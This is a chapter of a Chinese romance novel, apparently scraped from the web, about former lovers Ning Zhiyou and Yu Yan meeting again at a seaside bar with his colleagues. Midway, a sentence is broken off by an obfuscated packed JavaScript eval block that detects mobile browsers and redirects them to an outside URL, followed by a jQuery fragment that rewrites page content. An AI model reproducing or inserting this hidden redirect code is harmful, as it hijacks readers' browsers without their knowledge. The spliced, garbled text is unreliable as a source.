去的地方说远不远,说近不近。
但正巧民宿有车,就直接开着了。
宁知宥也不是有意想凑热闹,只是还沉浸在没来得及分出高下胜负的战争中,想下意识呛俞砚一嘴。
恶作剧作祟,她有点好奇,如果自己真跟着去了,她这个和平分手的前任,会是什么反应。
反正依照现在来看,应当会很有意思。
不过宁知宥给出的理由也不完全假,这时候起床,一个人来厦市又人生地不熟,确实不知道该去哪,所以最终倒也没有反悔。
除了俞砚和冯庭轩,还有个叫吴灯的年轻人跟着一起,应当都是民宿的员工。
俞砚拿着钥匙开车,没急着进驾驶座,倒是把副驾门打开,在一旁站着,回手机里的消息。
宁知宥往他那看了一眼,直直略过去,将手伸向后排。
结果门还没来得及拉开,就被打断。
“后座满了。”俞砚头也不抬,边滑手机边开口,“坐前面来。”
宁知宥顿了一下,他这句话没有主语,说话时也没有想要看着特定对象的意思,一瞬间还真定位不到说的是谁。
但是这会儿在车外面的只有她,所以也只能是她。
宁知宥往车窗内看了眼,饶有兴趣开口:“这不是还有一个空么?”
俞砚终于舍得把手机收起来,不咸不淡开口:“他俩胖。”
后座两人:?
宁知宥一眼看穿他的鬼扯,毫不留情拆穿:“我看还好吧。”
俞砚抿了下嘴唇,抱着胳膊杵在副驾驶前,一副她不来,他就不走的架势。
宁知宥不想惯着他,两只手放在风衣口袋。
她没消下去的笑意很冷,同样没有要进一步的打算。
眼见着这样下去谁都走不了,冯庭轩慌忙开口解围:“宁姐,师哥说得对,我们后排是挤了点,还是坐前面吧,宽敞些。”
宁知宥扬了扬眉毛,没打算在这里连坐别人:“既然这样,那行吧。”
她往前走了两步,俞砚依旧挡在车门前。
宁知宥歪着脑袋,下巴朝他站位的方向点了下:“什么意思?”
话音落地,俞砚侧开身子,让出空位,条件反射般抬手帮她遮了一下车顶。
他动作很快,宁知宥还没坐定就收了手,若无其事地绕回驾驶座。
殊不知镜子早就出卖了他。
不过宁知宥这次没打算拆穿,只是趁系安全带时,不动声色地笑了下。
原来肌肉记忆没改掉的人,不止她一个。
这帮人压力大的时候喜欢抽烟,久而久之染上了些烟瘾。车子刚发动,后排就传来打火机的声音。
俞砚皱着眉“啧”了一声,懒得回头:“把烟掐了。”
说完顺手把四面车窗打开,晚风吹进来。
吴灯不明所以:“昨天不是还......”
冯庭轩自认为看出来什么,慌忙道:“师哥最近戒烟呢,闻不得这个。”
“戒烟?”宁知宥捕捉到关键词,好奇又好笑地侧身问道,“你还抽烟啊?”
冯庭轩意识到自己好像还是说错了,默默闭上嘴,缩在后座当鹌鹑。
俞砚盯着前方的车流,不情愿地“嗯”了一声。
-
目的地的酒吧是一处半露天场所,老板和他们应当很熟,刚一见面就说他们这场消费由他包了。
说罢,又将目光看向宁知宥:“这位是......?”
宁知宥不想当别人的谈资,也不太愿意成为八卦的中心,为了省掉麻烦,她启唇,有些熟稔地开口:“我和俞砚是老同学,只不过好久没见了,这回恰好碰上。”
这招果然有用,话音落下,冯庭轩就恍然大悟般“哦”了声:“我就说怎么感觉你跟师哥好像认识,但没有很熟的样子。”
见谎言天衣无缝,宁知宥笑着点头,目光扫到一边的时候,恰好看见俞砚靠在桌子边,表情相当精彩。
见对视上,他懒散着语调,重复:“老同学?”
“怎么了?”宁知宥大言不惭,“我们本科是一个学校的,只不过他比我小两届。”
说完又反问道:“我说得有问题?”
“没、问、题。”
俞砚近乎是从牙缝中挤出这几个字。
不过旁人也没意识到两人之间的暗潮涌动,真当只是单纯的他乡遇故知,没再说什么,连说几句“好巧”后,便转移了话题,招呼着喝酒。
“套餐有点多,你们谁跟我去拿一下?”老板也没真把他们当外人,毫不客气地问道。
俞砚把刚拉出来的椅子又推了回去,转身:“我去。”
冯庭轩在一旁暗自感慨,他师哥最近太阳打西边出来的频率是不是有些过于频繁。
宁知宥不动声色地看着他的背影,想起来他刚刚的表情,忍不住想笑。
他不可能不理解她的用意。
所以刚刚那些,是故意呛她的吧。
幼稚。她想。
俞砚端着酒杯回来时,发现他刚刚选好的位置已经被人占领,一桌只有宁知宥旁边是空的。
他扫了眼吴灯:“你就非得坐那?”
小伙还没开口,冯庭轩就把事情揽了下来:“我让他换的,想着我们这一桌就你和宁姐熟,人家刚来这,也是第一次跟我们出来,当然要照顾点啊。”
俞砚好像听进去他的话,没再说什么,却还是盯着这只空位做思想斗争。
宁知宥见他迟迟没有动静,开玩笑道:“我会吃了你?”
俞砚做了个深呼吸,走过来坐下,顺手递了一杯柚子味特调给她。
宁知宥看清楚味道后,评价道:“你记得还蛮清楚。”
俞砚没搭话。
宁知宥只当他又间歇性犯病,从桌子中间拿了杯青苹果味道的气泡水,推了过去。
俞砚淡漠的脸上终于一闪而过了丝惊讶的表情。
“看什么?”宁知宥讲,“只许你记得我喜欢喝什么?”
“你开车来的,应该不能喝酒吧,都是青苹果味的,凑合着喝。”
俞砚把手边的玻璃瓶捞过,撬开瓶盖:“行。”
许是为了给酒馆增加噱头,老板特地请了个驻唱。
一个高脚凳,一把民谣吉他抱着,在灯光下倒还有点氛围感的帅气。
宁知宥本来没注意他,只把这些曲子当作背景音乐来听。
直到一阵熟悉的旋律响起。
宁知宥顿了顿,目光看向台上。
她很快认出这首歌,名字叫作“今晩はお月さん”,是一首日文歌,翻译过来是“今晚月色真好”。
宁知宥莫名笑了一下,心道厦市这个地方真的神奇,明明先前从来没有来过,却总是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279101|198342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能在不经意间勾起她一些回忆。
她听这首歌的时间很早,但是真正在记忆中留下印记,还是在和俞砚谈恋爱之后。
某天俞砚突发奇想想让她唱歌,那个年纪的男生还是太幼稚,不达目的不罢休,宁知宥拗不过他,最终妥协。
至于为什么选择这首,她其实也说不清楚,如果硬要找个理由,或许是因为,那天的月色真的很好。
好奇怪,当年听和唱的时候,从来都只觉得这首曲子有种宁静的意味,怎么时隔多年再在这里听到,却多了一份悲伤。
宁知宥思考了一会儿,将它归咎于自己的病。
好像自从生病以来,她就很容易把某些稀松平常的事情抹上点灰色,久而久之,都分不清到底是事实,还是恶习再犯。
她盯得时间有些久,俞砚在旁边意有所指开口:“现在喜欢这样的了?”
宁知宥回过神,收回视线,简单喝了口酒,杯子磕碰到桌面的同时,她开口:“俞砚,你记性真差。”
“是么。”俞砚笑了声。
话题在此止住,两人没再说话,似乎都没有把某些不愉快继续蔓延下去的意思。
直到歌手把这首歌唱完,俞砚才不经意间开口:“他唱得没你好听。”
这句话混在海浪和周遭喧嚣的人声中,不高不低,恰好只够两个人听见。
宁知宥下意识抬眼,在良久的沉默中,她发现,自己的呼吸好像有一瞬间错了频。
好在她的这种情绪没持续太久,就被桌上其他人拉过去说话。
年轻人聚在一起总是吵闹的,更何况这一桌大家年纪相仿,纵使宁知宥和其他人之前没见过,聊两句也能熟起来。
约定俗成度假不能聊工作,于是就只有感情可聊,聊着聊着,话头就牵到宁知宥这来。
吴灯有些好奇:“姐,你之前谈过吗?”
入夜天气转凉,宁知宥出来时穿得不多,被冻得有些走神,闻言才打起点精神。
她笑着道:“怎么就问我了?俞砚你们不问?”
冯庭轩摆手:“他有什么好问的,不知道你当时认识师哥的时候什么样,反正我们认识他的时候,这人就一副性冷淡的样子,跟他聊感情简直是自讨没趣。”
“是么。”宁知宥饶有兴致地看了眼俞砚,他并没有听他们聊天,只是低下头,摆弄着手机。
似乎对这个话题确实不感兴趣。
性冷淡么?宁知宥回忆。
完全没觉得。
不过话都问到这里了,她也没打算瞒着,大方承认:“谈过。”
其他几人并没有意外的样子,毕竟这个年纪了,谈恋爱早就不是学生时代那种值得大惊小怪的事情。
倒是冯庭轩抓住关键:“谈过?也就是说现在分了?”
宁知宥点了点头:“嗯。”
“哇,”冯庭轩有些好奇,“那你们为什么分手啊,总不可能是他甩的你,世上这么眼瞎的人上哪找。”
故事的另一个主人公不动声色地将目光从手机上抬起来,靠在椅背上盯着她,似乎也想听个答案。
宁知宥看了他一眼,勾起抹笑意:“没什么,和平分手而已。”
“害!原来是这样,怪不得。”冯庭轩和吴灯听到答案连连点头,完全被说服。
只有俞砚在一片和谐又吵闹的气氛里看过来,眼里全是不可置信。